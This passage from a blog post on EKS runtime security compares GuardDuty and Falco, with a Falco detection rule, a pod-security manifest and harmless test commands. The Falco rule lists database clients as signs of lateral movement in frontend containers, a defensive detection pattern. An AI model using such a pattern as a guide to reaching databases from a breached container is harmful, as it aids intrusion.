- rule: Unexpected DB Client in Frontend
  desc: Frontend containers should never run database clients
  condition: >
    spawned_process and container and
    k8s.ns.name = "frontend" and
    proc.name in (mysql, psql, mongo, redis-cli, mongosh)
  output: >
    Database client in frontend container
    (command=%proc.cmdline pod=%k8s.pod.name
    namespace=%k8s.ns.name)
  priority: CRITICAL
  tags: [application_specific, lateral_movement]

3. Enforce Pod Security Standards

Runtime detection is your last line of defense. Reduce the attack surface first:

1
2
3
4
5
6
7
8
9
# Pod Security Standard: Restricted
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/warn: restricted
    pod-security.kubernetes.io/audit: restricted

4. Integrate with Incident Response

Detection without response is just logging. Ensure both tools feed into an automated response pipeline:

  • Automated pod isolation via NetworkPolicy when critical alerts fire
  • Forensic capture of pod state before termination
  • Automatic ticket creation in your incident management system
  • Runbook triggering via Step Functions for common attack patterns

5. Test Your Detection

Deploy attack simulation tools to validate both GuardDuty and Falco catch what they should:

1
2
3
4
5
6
7
8
# Test cryptomining detection (safe - just the binary name, no actual mining)
kubectl run test-detection --image=alpine --rm -it --restart=Never -- \
  sh -c "echo 'Testing detection' && sleep 5"

# Use GuardDuty sample findings for testing
aws guardduty create-sample-findings \
  --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
  --finding-types "CryptoCurrency:Runtime/BitcoinTool.B"

6. Monitor the Monitors

Both tools consume resources on your nodes. Track their overhead:

1
2
3
4
5
# Check Falco resource consumption
kubectl top pods -n falco

# Check GuardDuty agent resource consumption
kubectl top pods -n amazon-guardduty

Conclusion

EKS runtime security is not a “choose one” decision – it is a layered defense problem. AWS GuardDuty EKS Runtime Monitoring delivers managed threat detection with zero operational overhead, multi-stage attack correlation, and deep AWS service integration. Falco delivers custom rules, multi-cloud portability, full transparency, and community-driven detection at the cost of operational responsibility.

The strongest security posture combines both: GuardDuty as your always-on managed baseline, Falco as your application-aware custom detection layer. Start with GuardDuty for immediate coverage, then invest in Falco rules that reflect your specific threat model.

The eBPF revolution has made kernel-level observability accessible to both managed services and open-source tools. The organizations that will weather the next wave of container attacks are those instrumenting their clusters at this level – not just scanning images and hoping for the best.

For personalized guidance on implementing EKS runtime security for your organization, connect with Jon Price on LinkedIn.

Updated: